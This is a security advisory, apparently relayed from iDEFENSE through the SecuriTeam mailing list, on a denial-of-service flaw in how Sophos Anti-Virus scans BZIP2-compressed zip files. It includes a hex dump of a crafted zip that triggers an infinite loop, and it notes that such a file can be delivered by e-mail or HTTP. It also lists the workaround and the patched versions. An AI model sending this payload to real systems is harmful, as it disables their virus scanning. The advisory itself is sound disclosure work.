[UNIX] Sophos Anti-Virus Zip DoS Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Sophos Anti-Virus Zip DoS Vulnerability
------------------------------------------------------------------------


SUMMARY

" <http://www.sophos.com> Sophos Small Business Suite is the best possible 
defence against viruses, spam and malicious spyware."

Remote exploitation of a denial of service vulnerability in Sophos Plc.'s 
Sophos Anti-Virus engine allows attackers to exhaust CPU resources on the 
target system and prevent further scans.

DETAILS

Vulnerable Systems:
 * Sophos Anti-Virus version 5.0.1
 * Sophos Anti-Virus version 3.91
 * Sophos Anti-Virus version 3.90

The problem specifically exists in the handling of Zip files compressed 
using the BZIP2 algorithm. When scanning within a BZIP2 archive the Sophos 
engine will not perform any sanity checks on the 'Extra field length' 
value. By specifying an abnormally large value for this field the analysis 
routine is forced into an infinite loop leading to CPU exhaustion. The 
following is a hex dump of an example file that will trigger the issue:

00  50 4b 03 04 0a 00 00 00  0c 00 5c 84 67 32 5b 26  |PK........\.g2[&|
10  b9 09 01 00 00 00 01 00  00 00 03 00 ff ff 66 6f  |..............fo|
20  6f 55 54 09 00 03 a0 74  2c 42 a1 74 2c 42 55 78  |oUT....t,B.t,BUx|
30  04 00 e8 03 e8 03 2a 50  4b 01 02 17 03 0a 00 00  |......*PK.......|
40  00 00 00 5c 84 67 32 5b  26 b9 09 01 00 00 00 01  |...\.g2[&.......|
50  00 00 00 03 00 0d 00 00  00 00 00 01 00 00 00 a4  |................|
60  81 00 00 00 00 66 6f 6f  55 54 05 00 03 a0 74 2c  |.....fooUT....t,|
70  42 55 78 00 00 50 4b 05  06 00 00 00 00 01 00 01  |BUx..PK.........|
80  00 3e 00 00 00 37 00 00  00 00 00                 |.>...7.....|

Bytes 08-09: Compression method - 0x000c == BZIP2 algorithm Bytes 28-29: 
Extra field length - 0xffff . The function BZ2_decompress(), among others, 
is called within the infinite loop.

Successful exploitation allows remote attackers to trigger a denial of 
service condition on the target system. Remote exploitation can be 
achieved by sending a malicious file in an e-mail message or during an 
HTTP session. Exploitation is only possible if the 'Scan inside archive 
files' option is enabled. This is not a default option but is a common 
setting. Both Unix and Windows systems running a vulnerable version of 
Sophos Anti-Virus are affected.

Workaround:
Disable the "Scan inside archive files" option.

Vendor Response:
"We have now included protection against this vulnerability into the 
latest versions of Sophos Anti-Virus on Windows, UNIX, Linux, Netware, 
OpenVMS and Mac OSX (version 3.95.0 on all those platforms as well as 
version 5.0.4 on Windows 2000/XP/2003 and versions 4.5.3 on Windows NT and 
Windows 95/98/Me) as well as into the latest updated versions of 
PureMessage for UNIX, PureMessage for Windows/Exchange and MailMonitor 
(any version running anti-virus engine 2.30.4 or above).

All of these versions would be updated automatically to customers using 
our automatic updating through EM Library or direct from Sophos.
They are also available to customers to download at  
<http://www.sophos.com/support/updates> 
http://www.sophos.com/support/updates".

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1530> 
CAN-2005-1530

Disclosure Timeline:
05/12/2005 - Initial vendor notification
05/16/2005 - Initial vendor response
07/14/2005 - Public disclosure


ADDITIONAL INFORMATION

The information has been provided by iDEFENSE Labs.
The original article can be found at:  
<http://www.idefense.com/application/poi/display?id=283&type=vulnerabilities> http://www.idefense.com/application/poi/display?id=283&type=vulnerabilities



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.